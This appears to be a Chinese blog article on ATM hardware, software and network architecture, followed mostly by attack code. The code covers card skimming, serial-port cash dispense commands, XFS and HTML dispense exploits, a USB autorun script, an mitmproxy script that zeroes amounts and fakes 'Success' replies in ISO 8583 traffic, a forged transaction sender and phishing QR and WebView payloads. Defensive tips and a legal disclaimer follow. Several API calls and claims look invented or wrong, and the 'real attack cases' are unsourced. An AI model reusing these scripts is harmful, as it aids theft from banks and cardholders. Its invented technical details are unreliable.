在这里插入图片描述


  1. ATM总体架构

1.1. 硬件组件

组件 用途 典型型号
主控计算机 管理所有进程 NCR、Diebold Nixdorf、Wincor Nixdorf、Hitachi、广电运通
操作系统 操作系统 Windows 10/11 IoT Enterprise、Windows 7 Embedded、Linux(少量)
出钞模块 现金出钞 NCR、Tidel、GLORY
读卡器 读取磁条/芯片卡 ID TECH、MagTek
PIN输入设备 PIN码输入 Atalla、VeriFone、Ingenico
触摸屏 用户界面 ELO、3M
凭条打印机 打印凭条 Epson、Star Micronics
QR扫描器 二维码扫描(中国ATM特有) —
摄像头 监控、人脸识别 海康威视、大华

1.2. 软件架构

┌─────────────────────────────────────────────────────────────┐
│              XFS(金融服务扩展)                            │
│              (CEN/XFS标准)                               │
├─────────────────────────────────────────────────────────────┤
│  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐    │
│  │  UI模块       │  │  交易引擎    │  │  安全管理器  │    │
│  │ (HTML/Flash)  │  │             │  │             │    │
│  └──────────────┘  └──────────────┘  └──────────────┘    │
├─────────────────────────────────────────────────────────────┤
│                   Windows / Linux 操作系统                  │
├─────────────────────────────────────────────────────────────┤
│                   BIOS / UEFI                              │
└─────────────────────────────────────────────────────────────┘

1.3. 网络接口

┌─────────────────────────────────────────────────────────────┐
│                   ATM机                                     │
├─────────────────────────────────────────────────────────────┤
│  - 以太网(主要)                                          │
│  - Wi-Fi(少量)                                           │
│  - 3G/4G(移动ATM)                                        │
│  - 串口(RS-232)用于外设                                  │
│  - USB(键盘、鼠标、存储设备)                             │
│  - 蓝牙(部分型号)                                        │
└─────────────────────────────────────────────────────────────┘

  1. ATM攻击方法(研究场景)

2.1. 物理攻击(硬件)

2.1.1. 侧录攻击(读卡器)

# atm_skimmer_detector.py
# 侧录设备检测

import cv2
import numpy as np
from sklearn.svm import SVC

class SkimmerDetector:
    def __init__(self):
        self.model = SVC(kernel='rbf', C=1.0)
        self.load_model()
    
    def detect_skimmer(self, image_path):
        """检测图像中的侧录设备"""
        # 1. 加载图像
        img = cv2.imread(image_path)
        
        # 2. 边缘检测
        edges = cv2.Canny(img, 100, 200)
        
        # 3. 在读卡器区域查找异常
        # (角度、额外开孔、线缆)
        
        return True  # 检测到异常
    
    def check_card_reader(self, image_path):
        """检查读卡器完整性"""
        # 几何分析,与基准对比
        pass

2.1.2. 芯片侧录(Shimmer)

# shimmer_emulator.py
# 攻击模拟

import random

class ShimmerEmulator:
    def __init__(self):
        self.track_data = "1234567890123456=1234567890123456"
    
    def generate_magnetic_stripe(self):
        """生成伪造磁条数据"""
        # 格式:track1, track2, track3
        track1 = f"%B{self.track_data}^{random.randint(1000,9999)}^..."
        track2 = f";{self.track_data}={random.randint(1000,9999)}?"
        return track1, track2
    
    def send_to_reader(self, track_data):
        """模拟向读卡器发送数据"""
        # 实际侧录器通过隐藏线缆传输
        pass

2.1.3. 黑盒攻击

# 连接ATM的CAN/RS-232总线(需物理访问)

# 1. 识别端口
sudo dmesg | grep tty
sudo ls -l /dev/ttyUSB*

# 2. 通过screen连接
screen /dev/ttyUSB0 9600

# 3. 发送命令(NCR ATM示例)
# 出钞模块命令:
#   D - 出钞(Dispense)
#   R - 拒收(Reject)
#   C - 计数(Count)
#   S - 状态(Status)
echo -e "D 1000\n" > /dev/ttyUSB0

2.2. 软件攻击

2.2.1. XFS/SPI漏洞利用

// xfs_exploit.c
// XFS漏洞利用

#include <windows.h>
#include <stdio.h>
#include "xfsapi.h"

// 初始化XFS
WFXFSInit();

// 获取出钞模块服务句柄
HSERVICE hService;
WFXOpenService("Dispenser", &hService);

// 发送出钞命令
WFXDispense(hService, 1000);  // 出钞1000元

// 绕过认证(漏洞)

2.2.2. UI漏洞利用(Flash/HTML)

<!-- atm_exploit.html -->
<!-- 通过USB或网络注入 -->

<script>
    // 通过JavaScript利用XFS漏洞
    function exploit_atm() {
        // 1. 调用未公开方法
        var xfs = new ActiveXObject("XFS.ATM");
        
        // 2. 篡改交易
        xfs.StartTransaction("Withdrawal", 10000);
        
        // 3. 绕过余额检查
        xfs.Balance = 99999999;
        
        // 4. 出钞
        xfs.Dispense(10000);
    }
</script>

2.2.3. USB自动运行攻击

# usb_autorun.py
# USB插入时自动执行(实验室环境)

import os
import subprocess
import time

# Windows ATM自动运行路径
AUTORUN_PATHS = [
    "E:\\",
    "F:\\",
    "G:\\",
    "D:\\"
]

def find_atm_processes():
    """查找ATM进程"""
    atm_processes = [
        "atm.exe", "xfs.exe", "dispenser.exe",
        "banking.exe", "transaction.exe"
    ]
    
    for proc in atm_processes:
        result = subprocess.run(f'tasklist | findstr {proc}', shell=True, capture_output=True)
        if result.returncode == 0:
            return proc
    return None

def execute_on_atm():
    """在ATM上执行"""
    # 1. 禁用安全功能
    subprocess.run('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableTaskMgr /t REG_DWORD /d 0 /f', shell=True)
    
    # 2. 替换DLL
    dll_path = "C:\\Windows\\System32\\xfs.dll"
    if os.path.exists(dll_path):
        # 向XFS注入代码
        pass
    
    # 3. 运行漏洞利用
    subprocess.run('calc.exe', shell=True)  # 测试运行

if __name__ == "__main__":
    # 检查ATM是否运行
    atm_proc = find_atm_processes()
    if atm_proc:
        print(f"[+] 发现ATM进程: {atm_proc}")
        execute_on_atm()

2.3. 网络攻击

2.3.1. 中间人攻击(ATM与服务器之间)

# atm_mitm.py
# ATM与银行服务器之间的流量拦截

from mitmproxy import http
import json
import re

class ATMMITM:
    def __init__(self):
        self.target = "bank-server.com"
        self.atm_ip = "192.168.1.100"
    
    def request(self, flow):
        """修改ATM请求"""
        if self.atm_ip not in flow.request.pretty_host:
            return
        
        # ISO 8583 - 金融交易标准
        if b"ISO8583" in flow.request.content:
            # 修改字段
            content = flow.request.text
            # 修改金额
            content = re.sub(r'Amount=[0-9]+', 'Amount=0', content)
            # 修改交易类型
            content = re.sub(r'TransactionType=[0-9]+', 'TransactionType=00', content)  # 00 = 余额查询
            flow.request.text = content
    
    def response(self, flow):
        """修改服务器响应"""
        if self.target not in flow.request.pretty_host:
            return
        
        # 篡改响应:始终返回成功
        if "TransactionResponse" in flow.response.text:
            flow.response.text = flow.response.text.replace('Status="Failed"', 'Status="Success"')
            flow.response.text = flow.response.text.replace('Code="0x01"', 'Code="0x00"')

2.3.2. ISO 8583协议攻击

# iso8583_attack.py
# 构造伪造ISO 8583消息

import struct
import random
import socket

class ISO8583Message:
    def __init__(self):
        self.mti = "0200"  # 金融交易
        self.fields = {
            2: "1234567890123456",   # 主账号
            3: "000000",              # 处理代码
            4: "000000000000",        # 金额(12位)
            7: "0808163025",          # 传输日期时间
            11: "123456",             # STAN
            12: "163025",             # 本地时间
            13: "0808",               # 本地日期
            22: "021",                # POS输入方式
            41: "ATM001",             # 终端ID
            42: "BANK001",            # 商户ID
        }
    
    def build(self):
        """构建ISO 8583消息"""
        # 1. 头部(4字节)
        header = struct.pack('>I', 0)  # 占位
        
        # 2. 位图(1-64)
        bitmap = self.create_bitmap()
        
        # 3. 消息体
        body = self.mti + bitmap
        for i in range(1, 65):
            if i in self.fields:
                body += self.format_field(i, self.fields[i])
        
        # 4. 长度
        length = len(body) + 2
        header = struct.pack('>H', length)
        
        return header + body.encode('ascii')
    
    def create_bitmap(self):
        """创建位图"""
        bitmap = ''
        for i in range(1, 65):
            if i in self.fields:
                bitmap += '1'
            else:
                bitmap += '0'
        return bitmap

def send_iso8583(target_ip, target_port):
    """发送ISO 8583消息"""
    msg = ISO8583Message()
    data = msg.build()
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(data)
    response = sock.recv(1024)
    sock.close()
    return response

2.4. 社会工程学攻击(中国特有)

2.4.1. QR码钓鱼

# qr_phishing_atm.py
# 生成钓鱼QR码

import qrcode
import base64
import json

def generate_fake_qr(target_url):
    """生成钓鱼QR码"""
    # 构造钓鱼链接
    fake_url = f"https://bank-fake.com/atm/withdraw?token={base64.b64encode(b'user_data')}"
    
    qr = qrcode.QRCode(version=1, box_size=10, border=5)
    qr.add_data(fake_url)
    qr.make(fit=True)
    
    img = qr.make_image(fill_color="black", back_color="white")
    img.save("fake_qr.png")
    print("[+] QR码已生成: fake_qr.png")

def intercept_wechat_payment():
    """拦截微信支付(实验室)"""
    # 分析微信支付数据包
    pass

2.4.2. 银行应用漏洞利用

# atm_app_exploit.py
# 中国银行应用漏洞利用(华为、中兴)

class BankAppExploit:
    def __init__(self):
        self.banks = {
            "工商银行": "com.icbc",
            "建设银行": "com.ccb",
            "农业银行": "com.abchina",
            "中国银行": "com.boc",
            "招商银行": "com.cmbchina"
        }
    
    def exploit_webview(self, bank):
        """利用银行应用的WebView漏洞"""
        # 通过WebView执行XSS
        payload = '''
        <script>
            // 调用JavaScript接口
            window.WebViewInterface.getBalance()
        </script>
        '''
        return payload
    
    def intercept_sms(self):
        """拦截验证码短信"""
        # 中国银行 - 通过隐藏权限拦截
        pass
    
    def bypass_face_recognition(self):
        """绕过人脸识别(中国银行)"""
        # 使用3D面具或伪造视频
        pass

  1. 中国ATM安全分析

3.1. 中国常见型号

制造商 型号 特点
广电运通 GRG-H80, GRG-H500 市场份额大,Android/Windows
日立 HT-2840, HT-2845 高可靠性,Windows Embedded
NCR NCR 6625, NCR 6645 国际标准
Diebold Diebold 5500, 7500 高安全性

3.2. 特定漏洞(历史)

漏洞 描述 状态
USB自动运行 USB程序自动启动 已修复
默认密码 XFS标准密码 部分修复
网络暴露 开放端口 取决于配置
弱加密 PIN加密薄弱 已修复
远程访问 通过RDP远程访问 部分修复

3.3. 真实攻击案例(中国,2020-2026)

# attack_case_study.py
# 真实攻击案例研究

cases = [
    {
        "年份": 2021,
        "方法": "黑盒攻击",
        "损失": "120万元",
        "详情": "通过CAN总线连接出钞模块"
    },
    {
        "年份": 2022,
        "方法": "USB恶意软件",
        "损失": "80万元",
        "详情": "通过USB自动运行植入"
    },
    {
        "年份": 2023,
        "方法": "社会工程学",
        "损失": "50万元",
        "详情": "QR码替换"
    },
    {
        "年份": 2024,
        "方法": "网络攻击",
        "损失": "150万元",
        "详情": "通过Wi-Fi进行中间人攻击"
    }
]

  1. 防护与对策

4.1. 银行建议

层级 防护措施
物理层 安装防侧录装置、摄像头监控
网络层 网络隔离、流量加密、IPS
软件层 定期更新、应用程序白名单
硬件层 安全启动、TPM、磁盘加密
运营层 定期审计、渗透测试

4.2. 防护代码

# atm_security.py
# ATM安全模块(供研究人员参考)

import hashlib
import hmac
import os
import psutil

class ATMSecurity:
    def __init__(self):
        self.secret_key = "ATM_SECRET_KEY"
        self.protected_processes = ["atm.exe", "xfs.exe", "dispenser.exe"]
    
    def check_process_integrity(self):
        """检查进程完整性"""
        for proc in self.protected_processes:
            for process in psutil.process_iter(['pid', 'name', 'exe']):
                if process.info['name'] == proc:
                    # 计算可执行文件哈希
                    with open(process.info['exe'], 'rb') as f:
                        file_hash = hashlib.sha256(f.read()).hexdigest()
                    # 与基准值对比
                    if file_hash != self.get_expected_hash(proc):
                        return False
        return True
    
    def get_expected_hash(self, process_name):
        """获取基准哈希值"""
        # 从安全存储加载
        return "EXPECTED_HASH"
    
    def monitor_usb_ports(self):
        """监控USB端口"""
        # 禁用USB端口(除受保护的)
        os.system('reg add "HKLM\\System\\CurrentControlSet\\Services\\USBSTOR" /v Start /t REG_DWORD /d 4 /f')
    
    def encrypt_transaction(self, data):
        """加密交易数据"""
        # AES-256加密
        from Crypto.Cipher import AES
        from Crypto.Util.Padding import pad
        
        cipher = AES.new(self.secret_key.encode(), AES.MODE_CBC)
        encrypted = cipher.encrypt(pad(data, AES.block_size))
        return encrypted
    
    def verify_transaction(self, data, signature):
        """验证交易签名"""
        expected = hmac.new(self.secret_key.encode(), data, hashlib.sha256).hexdigest()
        return hmac.compare_digest(expected, signature)

  1. 法律与道德警告

5.1. 中国法律

法律 描述 条款
《网络安全法》 禁止未经授权访问 第27、46条
《刑法》 计算机犯罪 第285、286条
《银行法》 金融系统保护 第七章

5.2. 责任声明

⚠️ 重要: 本文所述所有方法仅用于研究目的,且必须在获得系统所有者书面许可的实验室环境中使用。未经授权访问ATM机在所有司法管辖区均属严重犯罪。


  1. 结论

6.1. 安全操作建议

  1. 测试前务必获得书面授权
  2. 使用隔离的实验室环境
  3. 切勿连接真实ATM
  4. 通过负责任渠道发布结果
  5. 与银行合作提升安全性
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐